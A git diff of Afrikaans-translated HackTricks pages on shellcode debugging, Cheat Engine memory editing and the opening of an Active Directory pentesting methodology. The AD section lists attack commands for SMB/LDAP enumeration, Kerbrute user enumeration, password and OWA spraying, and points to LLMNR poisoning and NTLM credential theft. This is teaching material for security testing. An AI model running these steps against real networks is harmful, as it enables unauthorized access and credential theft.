Dan moet jy 'n **debugger** (Ida of x64dbg) aan die proses koppel en 'n **breekpunt op die aangeduide geheue adres** plaas en die uitvoering **herbegin**. Op hierdie manier sal jy die shellcode debugg.
Die releases github bladsy bevat zips wat die gecompileerde releases bevat: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Jy kan 'n effens gewysigde weergawe van Blobrunner in die volgende skakel vind. Om dit te compileer, moet jy net **'n C/C++ projek in Visual Studio Code skep, die kode kopieer en plak en dit bou**.
@ -176,11 +176,11 @@ blobrunner.md
### Debugging 'n shellcode met jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) is baie soortgelyk aan blobrunner. Dit sal **toewys** die **shellcode** binne 'n geheue ruimte, en 'n **ewige lus** begin. Jy moet dan die **debugger** aan die proses koppel, **begin speel, wag 2-5 sekondes en druk stop** en jy sal jouself binne die **ewige lus** vind. Spring na die volgende instruksie van die ewige lus, aangesien dit 'n oproep na die shellcode sal wees, en uiteindelik sal jy jouself die shellcode uitvoer.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) is baie soortgelyk aan blobrunner. Dit sal die **shellcode** binne 'n geheue ruimte **toewys**, en 'n **ewige lus** begin. Jy moet dan die **debugger** aan die proses koppel, **begin speel, wag 2-5 sekondes en druk stop** en jy sal jouself binne die **ewige lus** vind. Spring na die volgende instruksie van die ewige lus, aangesien dit 'n oproep na die shellcode sal wees, en uiteindelik sal jy jouself die shellcode uitvoer.
![](<../../images/image (509).png>)
Jy kan 'n gecompileerde weergawe van [jmp2it binne die releases bladsy aflaai](https://github.com/adamkramer/jmp2it/releases/).
Jy kan 'n gecompileerde weergawe van [jmp2it binne die releases bladsy](https://github.com/adamkramer/jmp2it/releases/) aflaai.
### Debugging shellcode met Cutter
@ -190,20 +190,20 @@ Let daarop dat Cutter jou toelaat om "Open File" en "Open Shellcode" te kies. In
![](<../../images/image (562).png>)
Om die emulering op die plek te begin waar jy wil, stel 'n bp daar in en blykbaar sal cutter outomaties die emulering vanaf daar begin:
Om die emulering op die plek te begin waar jy wil, stel 'n bp daar in en blykbaar sal cutter outomaties die emulering van daar af begin:
![](<../../images/image (589).png>)
![](<../../images/image (387).png>)
Jy kan die stapel sien, byvoorbeeld binne 'n hex dump:
Jy kan die stapel byvoorbeeld binne 'n hex dump sien:
![](<../../images/image (186).png>)
### Deobfuscating shellcode en die uitgevoerde funksies kry
### Deobfuscating shellcode en die uitgevoerde funksies verkry
Jy moet probeer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Dit sal jou dinge vertel soos **watter funksies** die shellcode gebruik en of die shellcode **homself decodeer** in geheue.
Jy moet [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152) probeer.\
Dit sal jou dinge vertel soos **watter funksies** die shellcode gebruik en of die shellcode **homself in geheue decodeer**.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -216,7 +216,7 @@ scDbg het ook 'n grafiese laaier waar jy die opsies kan kies wat jy wil en die s
![](<../../images/image (258).png>)
Die **Create Dump** opsie sal die finale shellcode dump as enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debug met die scDbg terminal (maar ek vind enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
Die **Create Dump** opsie sal die finale shellcode dump as daar enige verandering aan die shellcode dinamies in geheue gemaak word (nuttig om die gedecodeerde shellcode af te laai). Die **start offset** kan nuttig wees om die shellcode by 'n spesifieke offset te begin. Die **Debug Shell** opsie is nuttig om die shellcode te debugeer met behulp van die scDbg terminal (ek vind egter enige van die opsies wat voorheen verduidelik is beter vir hierdie saak, aangesien jy Ida of x64dbg kan gebruik).
### Disassembling using CyberChef
@ -229,7 +229,7 @@ Hierdie obfuscator **wysig al die instruksies vir `mov`** (ja, regtig cool). Dit
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
As jy gelukkig is, sal [demovfuscator](https://github.com/kirschju/demovfuscator) die binêre deobfuskeer. Dit het verskeie afhanklikhede.
As jy gelukkig is, sal [demovfuscator](https://github.com/kirschju/demovfuscator) die binêre deofuskeer. Dit het verskeie afhanklikhede.
```
apt-get install libcapstone-dev
apt-get install libz3-dev
@ -244,8 +244,8 @@ Om die **toegangspunt** te vind, soek die funksies deur `::main` soos in:
![](<../../images/image (1080).png>)
In hierdie geval was die binêre genaamd authenticator, so dit is redelik voor die hand liggend dat dit die interessante hooffunksie is.\
Met die **naam** van die **funksies** wat aangeroep word, soek daarna op die **Internet** om meer te leer oor hul **invoere** en **uitvoere**.
In hierdie geval was die binêre genaamd authenticator, so dit is redelik duidelik dat dit die interessante hooffunksie is.\
Met die **naam** van die **funksies** wat aangeroep word, soek daarna op die **Internet** om meer te leer oor hul **insette** en **uitsette**.
## **Delphi**
@ -284,7 +284,7 @@ As jy die **binêre** van 'n GBA-speletjie kry, kan jy verskillende gereedskap g
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra-inprop
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra-inprop
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulasie Instelling --> Beheer**_\*\* \*\* kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulasie-opstelling --> Beheer**_** ** kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
![](<../../images/image (581).png>)
@ -301,13 +301,13 @@ DOWN = 128
R = 256
L = 256
```
So, in hierdie tipe program, sal die interessante deel wees **hoe die program die gebruiker invoer hanteer**. In die adres **0x4000130** sal jy die algemeen aangetrefde funksie vind: **KEYINPUT**.
So, in this kind of program, the interesting part will be **hoe die program die gebruiker invoer hanteer**. In die adres **0x4000130** sal jy die algemeen aangetrefde funksie vind: **KEYINPUT**.
![](<../../images/image (447).png>)
In die vorige beeld kan jy sien dat die funksie aangeroep word vanaf **FUN_080015a8** (adresse: _0x080015fa_ en _0x080017ac_).
In daardie funksie, na 'n paar inisialisasie operasies (sonder enige belangrikheid):
In daardie funksie, na 'n paar inisiëringsoperasies (sonder enige belangrikheid):
```c
void FUN_080015a8(void)
@ -374,9 +374,9 @@ In die vorige kode kan jy sien dat ons **uVar1** (die plek waar die **waarde van
- Dan, dit word vergelyk met die **waarde 8** (**START** knoppie): In die uitdaging kontroleer dit of die kode geldig is om die vlag te kry.
- In hierdie geval word die var **`DAT_030000d8`** met 0xf3 vergelyk en as die waarde dieselfde is, word 'n paar kode uitgevoer.
- In enige ander gevalle, word 'n cont (`DAT_030000d4`) nagegaan. Dit is 'n cont omdat dit 1 byvoeg onmiddellik nadat dit in die kode ingaan.\
**As** minder as 8, word iets wat **byvoeg** waardes aan \*\*`DAT_030000d8` \*\* doen (basies voeg dit die waardes van die knoppies wat in hierdie veranderlike gedruk is by solank die cont minder as 8 is).
**As** dit minder as 8 is, word iets wat **waardes byvoeg** tot **`DAT_030000d8`** gedoen (basies voeg dit die waardes van die knoppies wat in hierdie veranderlike gedruk is by solank die cont minder as 8 is).
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy **'n kombinasie druk met 'n lengte kleiner as 8 wat die resultaat toevoeging 0xf3 is.**
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy 'n **kombinasie druk met 'n lengte kleiner as 8 wat die resultaat toevoeging 0xf3 is.**
**Verwysing vir hierdie tutoriaal:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -389,6 +389,6 @@ https://www.youtube.com/watch?v=VVbRe7wr3G4
## Kursusse
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binarie deobfuscation)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binaire deobfuscation)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is 'n nuttige program om te vind waar belangrike waardes in die geheue van 'n lopende speletjie gestoor word en om dit te verander.\
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is 'n nuttige program om te vind waar belangrike waardes in die geheue van 'n lopende speletjie gestoor word en om hulle te verander.\
Wanneer jy dit aflaai en uitvoer, word jy **aanbied** met 'n **tutorial** oor hoe om die hulpmiddel te gebruik. As jy wil leer hoe om die hulpmiddel te gebruik, word dit sterk aanbeveel om dit te voltooi.
## Wat soek jy?
@ -10,7 +10,7 @@ Wanneer jy dit aflaai en uitvoer, word jy **aanbied** met 'n **tutorial** oor ho
![](<../../images/image (762).png>)
Hierdie hulpmiddel is baie nuttig om te vind **waar 'n waarde** (gewoonlik 'n nommer) **in die geheue** van 'n program gestoor word.\
**Gewoonlik word nommers** in **4bytes** vorm gestoor, maar jy kan dit ook in **double** of **float** formate vind, of jy mag dalk iets **anders as 'n nommer** wil soek. Om hierdie rede moet jy seker maak jy **kies** wat jy wil **soek**:
**Gewoonlik word nommers** in **4bytes** vorm gestoor, maar jy kan hulle ook in **double** of **float** formate vind, of jy mag dalk iets **anders as 'n nommer** wil soek. Om hierdie rede moet jy seker wees dat jy **kies** wat jy wil **soek**:
![](<../../images/image (324).png>)
@ -24,7 +24,7 @@ Jy kan ook die boks merk om **die speletjie te stop terwyl jy die geheue skandee
### Hotkeys
In _**Edit --> Settings --> Hotkeys**_ kan jy verskillende **hotkeys** vir verskillende doeleindes instel, soos **om die speletjie te stop** (wat baie nuttig is as jy op 'n stadium die geheue wil skandeer). Ander opsies is beskikbaar:
In _**Edit --> Settings --> Hotkeys**_ kan jy verskillende **hotkeys** vir verskillende doeleindes stel, soos **om die** **speletjie** te **stop** (wat baie nuttig is as jy op 'n stadium die geheue wil skandeer). Ander opsies is beskikbaar:
![](<../../images/image (864).png>)
@ -34,11 +34,11 @@ Sodra jy **gevind** het waar die **waarde** wat jy **soek** is (meer oor hierdie
![](<../../images/image (563).png>)
En uiteindelik **merk die vinkie** om die verandering in die geheue te laat plaasvind:
En uiteindelik **merk die vink** om die verandering in die geheue te laat plaasvind:
![](<../../images/image (385).png>)
Die **verandering** aan die **geheue** sal onmiddellik **toegepas** word (let daarop dat totdat die speletjie hierdie waarde nie weer gebruik nie, die waarde **nie in die speletjie opgedateer sal word**).
Die **verandering** aan die **geheue** sal onmiddellik **toegepas** word (let daarop dat totdat die speletjie hierdie waarde weer gebruik, die waarde **nie in die speletjie opgedateer sal word**).
## Searching the value
@ -50,22 +50,22 @@ Veronderstel jy soek die waarde 100, jy **voerende 'n skandering** om daardie wa
![](<../../images/image (108).png>)
Dan, doen jy iets sodat **die waarde verander**, en jy **stop** die speletjie en **voerende** 'n **volgende skandering**:
Dan, jy doen iets sodat **waarde verander**, en jy **stop** die speletjie en **voerende** 'n **volgende skandering**:
![](<../../images/image (684).png>)
Cheat Engine sal soek na die **waardes** wat **van 100 na die nuwe waarde gegaan het**. Geluk, jy **gevind** die **adres** van die waarde waarna jy gesoek het, jy kan dit nou verander.\
Cheat Engine sal soek na die **waardes** wat **van 100 na die nuwe waarde gegaan het**. Geluk, jy **het gevind** die **adres** van die waarde waarna jy gesoek het, jy kan dit nou verander.\
_As jy steeds verskeie waardes het, doen iets om daardie waarde weer te verander, en voer 'n ander "volgende skandering" uit om die adresse te filter._
### Unknown Value, known change
In die scenario waar jy **nie die waarde weet nie** maar jy weet **hoe om dit te laat verander** (en selfs die waarde van die verandering) kan jy jou nommer soek.
So, begin deur 'n skandering van die tipe "**Onbekende aanvanklike waarde**" uit te voer:
So, begin deur 'n skandering van tipe "**Onbekende aanvanklike waarde**" uit te voer:
![](<../../images/image (890).png>)
Dan, laat die waarde verander, dui aan **hoe** die **waarde** **verander het** (in my geval is dit met 1 verminder) en voer 'n **volgende skandering** uit:
Dan, laat die waarde verander, dui **hoe** die **waarde** **verander** het (in my geval is dit met 1 verminder) en voer 'n **volgende skandering** uit:
![](<../../images/image (371).png>)
@ -117,7 +117,7 @@ Klik op "**Voeg adres handmatig by**":
![](<../../images/image (990).png>)
Nou, klik op die "Pointer" vinkie en voeg die gevonde adres in die teksvak in (in hierdie scenario, was die gevonde adres in die vorige beeld "Tutorial-i386.exe"+2426B0):
Nou, klik op die "Pointer" vink en voeg die gevonde adres in die teksvak (in hierdie scenario, was die gevonde adres in die vorige beeld "Tutorial-i386.exe"+2426B0):
![](<../../images/image (392).png>)
@ -131,7 +131,7 @@ Nou, elke keer as jy daardie waarde verander, **verander jy die belangrike waard
### Code Injection
Code injection is 'n tegniek waar jy 'n stuk kode in die teikenproses inspuit, en dan die uitvoering van kode herlei om deur jou eie geskryf kode te gaan (soos om jou punte te gee in plaas van om dit af te trek).
Code injection is 'n tegniek waar jy 'n stuk kode in die teikenproses inspuit, en dan die uitvoering van kode herlei om deur jou eie geskryf kode te gaan (soos om jou punte te gee in plaas van om hulle te verminder).
So, verbeel jou jy het die adres gevind wat 1 van die lewe van jou speler aftrek:
@ -146,15 +146,15 @@ Vul die **adres van die instruksie wat jy wil verander** (dit word gewoonlik out
![](<../../images/image (744).png>)
'n Sjabloon sal gegenereer word:
' n Sjabloon sal gegenereer word:
![](<../../images/image (944).png>)
So, voeg jou nuwe assembly kode in die "**newmem**" afdeling in en verwyder die oorspronklike kode uit die "**originalcode**" as jy nie wil hê dit moet uitgevoer word\*\*.\*\* In hierdie voorbeeld sal die ingespuite kode 2 punte byvoeg in plaas van om 1 af te trek:
So, voeg jou nuwe assembly kode in die "**newmem**" afdeling in en verwyder die oorspronklike kode uit die "**originalcode**" as jy nie wil hê dit moet uitgevoer word nie. In hierdie voorbeeld sal die ingespuite kode 2 punte byvoeg in plaas van om 1 af te trek:
![](<../../images/image (521).png>)
**Klik op voer uit en so aan en jou kode behoort in die program ingespuit te wees wat die gedrag van die funksionaliteit verander!**
**Klik op voer uit en so aan en jou kode moet in die program ingespuit word wat die gedrag van die funksionaliteit verander!**
## **References**

View File

@ -4,9 +4,9 @@
## Basiese oorsig
**Active Directory** dien as 'n fundamentele tegnologie, wat **netwerkadministrateurs** in staat stel om doeltreffend **domeine**, **gebruikers**, en **objekte** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die organisasie van 'n groot aantal gebruikers in hanteerbare **groepe** en **subgroepe** vergemaklik, terwyl dit **toegangregte** op verskeie vlakke beheer.
**Active Directory** dien as 'n fundamentele tegnologie, wat **netwerkadministrateurs** in staat stel om doeltreffend **domeine**, **gebruikers**, en **objekte** binne 'n netwerk te skep en te bestuur. Dit is ontwerp om te skaal, wat die organisasie van 'n groot aantal gebruikers in hanteerbare **groepe** en **subgroepe** vergemaklik, terwyl **toegangsregte** op verskeie vlakke beheer word.
Die struktuur van **Active Directory** bestaan uit drie primêre lae: **domeine**, **bome**, en **woude**. 'n **domein** omvat 'n versameling van objekte, soos **gebruikers** of **toestelle**, wat 'n gemeenskaplike databasis deel. **Bome** is groepe van hierdie domeine wat deur 'n gedeelde struktuur verbind is, en 'n **woud** verteenwoordig die versameling van verskeie bome, wat deur **vertrouensverhoudings** met mekaar verbind is, wat die boonste laag van die organisatoriese struktuur vorm. Spesifieke **toegang** en **kommunikasie regte** kan op elk van hierdie vlakke aangewys word.
Die struktuur van **Active Directory** bestaan uit drie primêre lae: **domeine**, **bome**, en **woude**. 'n **domein** omvat 'n versameling van objekte, soos **gebruikers** of **toestelle**, wat 'n gemeenskaplike databasis deel. **Bome** is groepe van hierdie domeine wat deur 'n gedeelde struktuur verbind is, en 'n **woud** verteenwoordig die versameling van verskeie bome, wat deur **vertrouensverhoudinge** met mekaar verbind is, wat die boonste laag van die organisatoriese struktuur vorm. Spesifieke **toegang** en **kommunikasie regte** kan op elk van hierdie vlakke aangewys word.
Belangrike konsepte binne **Active Directory** sluit in:
@ -14,11 +14,11 @@ Belangrike konsepte binne **Active Directory** sluit in:
2. **Objek** Verwys na entiteite binne die gids, insluitend **gebruikers**, **groepe**, of **gedeelde vouers**.
3. **Domein** Dien as 'n houer vir gidsobjekte, met die vermoë dat verskeie domeine binne 'n **woud** saam kan bestaan, elk met sy eie objekversameling.
4. **Boom** 'n Groepering van domeine wat 'n gemeenskaplike worteldomein deel.
5. **Woud** Die hoogtepunt van organisatoriese struktuur in Active Directory, saamgestel uit verskeie bome met **vertrouensverhoudings** tussen hulle.
5. **Woud** Die hoogtepunt van organisatoriese struktuur in Active Directory, saamgestel uit verskeie bome met **vertrouensverhoudinge** tussen hulle.
**Active Directory Domein Dienste (AD DS)** omvat 'n reeks dienste wat krities is vir die gesentraliseerde bestuur en kommunikasie binne 'n netwerk. Hierdie dienste sluit in:
1. **Domein Dienste** Sentraliseer data berging en bestuur interaksies tussen **gebruikers** en **domeine**, insluitend **verifikasie** en **soek** funksies.
1. **Domein Dienste** Sentraliseer data-opberging en bestuur interaksies tussen **gebruikers** en **domeine**, insluitend **verifikasie** en **soek** funksies.
2. **Sertifikaat Dienste** Toesig oor die skepping, verspreiding, en bestuur van veilige **digitale sertifikate**.
3. **Liggewig Gids Dienste** Ondersteun gids-geaktiveerde toepassings deur die **LDAP protokol**.
4. **Gids Federasie Dienste** Verskaf **enkele-aanmelding** vermoëns om gebruikers oor verskeie webtoepassings in 'n enkele sessie te verifieer.
@ -29,23 +29,26 @@ Vir 'n meer gedetailleerde verduideliking, kyk: [**TechTerms - Active Directory
### **Kerberos Verifikasie**
Om te leer hoe om 'n **AD** aan te val, moet jy die **Kerberos verifikasie proses** baie goed verstaan.\
Om te leer hoe om 'n **AD** te **aanval**, moet jy die **Kerberos verifikasieproses** baie goed **begryp**.\
[**Lees hierdie bladsy as jy nog nie weet hoe dit werk nie.**](kerberos-authentication.md)
## Cheat Sheet
Jy kan baie na [https://wadcoms.github.io/](https://wadcoms.github.io) neem om 'n vinnige oorsig te kry van watter opdragte jy kan uitvoer om 'n AD te evalueer/exploit.
> [!WARNING]
> Kerberos kommunikasie **vereis 'n volle gekwalifiseerde naam (FQDN)** om aksies uit te voer. As jy probeer om toegang tot 'n masjien te verkry deur die IP-adres, **sal dit NTLM gebruik en nie kerberos nie**.
## Recon Active Directory (Geen krediete/sessies)
As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie, kan jy:
- **Pentest die netwerk:**
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** daaruit te **onttrek** (byvoorbeeld, [drukker kan baie interessante teikens wees](ad-information-in-printers.md)).
- Die opspoor van DNS kan inligting oor sleutelbedieners in die domein gee soos web, drukker, gedeeltes, vpn, media, ens.
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** daaruit te **onttrek** (byvoorbeeld, [drukkers kan baie interessante teikens wees](ad-information-in-printers.md)).
- Die opsporing van DNS kan inligting oor sleutelbedieners in die domein gee soos web, drukkers, gedeeltes, vpn, media, ens.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Kyk na die Algemene [**Pentesting Metodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md) om meer inligting te vind oor hoe om dit te doen.
- **Kontroleer vir null en Gaste toegang op smb dienste** (dit sal nie werk op moderne Windows weergawes nie):
- **Kontroleer vir null en Gaste toegang op smb dienste** (dit sal nie werk op moderne Windows weergawes):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -57,28 +60,28 @@ As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie,
- **Evalueer Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- 'n Meer gedetailleerde gids oor hoe om LDAP te evalueer kan hier gevind word (gee **spesiale aandag aan die anonieme toegang**):
- 'n Meer gedetailleerde gids oor hoe om LDAP te evalueer kan hier gevind word (betaal **spesiale aandag aan die anonieme toegang**):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **Besoedel die netwerk**
- Versamel krediete [**deur dienste te verteenwoordig met Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Toegang tot gasheer deur [**die relay aanval te misbruik**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Versamel krediete [**deur dienste te vervang met Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Verkry toegang tot die gasheer deur [**die relay aanval te misbruik**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Versamel krediete **deur** [**valse UPnP dienste met evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Trek gebruikersname/names uit interne dokumente, sosiale media, dienste (hoofsaaklik web) binne die domein omgewings en ook uit die publiek beskikbaar.
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[lees dit](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVaan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _ewekansige letters en 3 ewekansige nommers_ (abc123).
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[**lees dit**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _ewekansige letters en 3 ewekansige nommers_ (abc123).
- Gereedskap:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Gebruiker evalueering
### Gebruikersevaluasie
- **Anonieme SMB/LDAP enum:** Kontroleer die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
- **Kerbrute enum**: Wanneer 'n **ongeldige gebruikersnaam aangevra** word, sal die bediener reageer met die **Kerberos fout** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons in staat stel om te bepaal dat die gebruikersnaam ongeldig was. **Geldige gebruikersname** sal of die **TGT in 'n AS-REP** antwoord of die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ uitlok, wat aandui dat die gebruiker vereis word om vooraf-verifikasie te doen.
- **Geen Verifikasie teen MS-NRPC**: Gebruik auth-level = 1 (Geen verifikasie) teen die MS-NRPC (Netlogon) koppelvlak op domeinbeheerders. Die metode roep die `DsrGetDcNameEx2` funksie aan nadat dit aan die MS-NRPC koppelvlak gekoppel is om te kontroleer of die gebruiker of rekenaar bestaan sonder enige krediete. Die [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) gereedskap implementeer hierdie tipe evaluering. Die navorsing kan [hier](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) gevind word.
- **Kerbrute enum**: Wanneer 'n **ongeldige gebruikersnaam aangevra** word, sal die bediener reageer met die **Kerberos fout** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons in staat stel om te bepaal dat die gebruikersnaam ongeldig was. **Geldige gebruikersname** sal of die **TGT in 'n AS-REP** antwoord of die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ uitlok, wat aandui dat die gebruiker verplig is om vooraf-verifikasie te doen.
- **Geen Verifikasie teen MS-NRPC**: Gebruik auth-level = 1 (Geen verifikasie) teen die MS-NRPC (Netlogon) koppelvlak op domeinbeheerder. Die metode roep die `DsrGetDcNameEx2` funksie aan nadat dit aan die MS-NRPC koppelvlak gekoppel is om te kyk of die gebruiker of rekenaar bestaan sonder enige krediete. Die [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) gereedskap implementeer hierdie tipe evaluasie. Die navorsing kan [hier](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) gevind word.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Jy kan lyste van gebruikersname vind in [**hierdie github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* en hierdie een ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> Jy kan lyste van gebruikersname vind in [**hierdie github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) en hierdie een ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Jy behoort egter die **name van die mense wat by die maatskappy werk** te hê van die rekonstruksie stap wat jy voorheen gedoen het. Met die naam en van kan jy die skrip [**namemash.py**](https://gist.github.com/superkojiman/11076951) gebruik om potensiële geldige gebruikersname te genereer.
@ -114,16 +117,16 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
Goed, so jy weet jy het reeds 'n geldige gebruikersnaam maar geen wagwoorde nie... Probeer dan:
- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie** die attribuut _DONT_REQ_PREAUTH_ het nie, kan jy **'n AS_REP boodskap** vir daardie gebruiker aan vra wat sekere data bevat wat deur 'n afgeleide van die gebruiker se wagwoord geënkripteer is.
- [**Password Spraying**](password-spraying.md): Kom ons probeer die mees **gewone wagwoorde** met elkeen van die ontdekte gebruikers, dalk gebruik 'n gebruiker 'n slegte wagwoord (hou die wagwoordbeleid in gedagte!).
- Let daarop dat jy ook **OWA bedieners kan spray** om toegang tot die gebruikers se posbedieners te probeer kry.
- [**Password Spraying**](password-spraying.md): Kom ons probeer die mees **gewone wagwoorde** met elkeen van die ontdekte gebruikers, dalk gebruik 'n gebruiker 'n swak wagwoord (hou die wagwoordbeleid in gedagte!).
- Let daarop dat jy ook **OWA bedieners kan spuit** om toegang tot die gebruikers se posbedieners te probeer kry.
{{#ref}}
password-spraying.md
{{#endref}}
### LLMNR/NBT-NS Besmetting
### LLMNR/NBT-NS Vergiftiging
Jy mag in staat wees om **uitdaging **hashes** te **verkry** om **besmetting** van sommige protokolle van die **netwerk** te krake:
Jy mag dalk in staat wees om **uitdaging **hashes** te **verkry** om **vergiftiging** van sekere protokolle van die **netwerk** te krake:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -131,11 +134,11 @@ Jy mag in staat wees om **uitdaging **hashes** te **verkry** om **besmetting** v
### NTLM Relay
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag in staat wees om NTLM [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* te dwing om toegang tot die AD omgewing te kry.
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTLM [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) te dwing om toegang tot die AD omgewing te kry.
### Steel NTLM Krediete
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** , kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTLM-authentisering teen jou** sal **aktiveer** sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTLM-authentisering teen jou** sal **aktiveer** sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
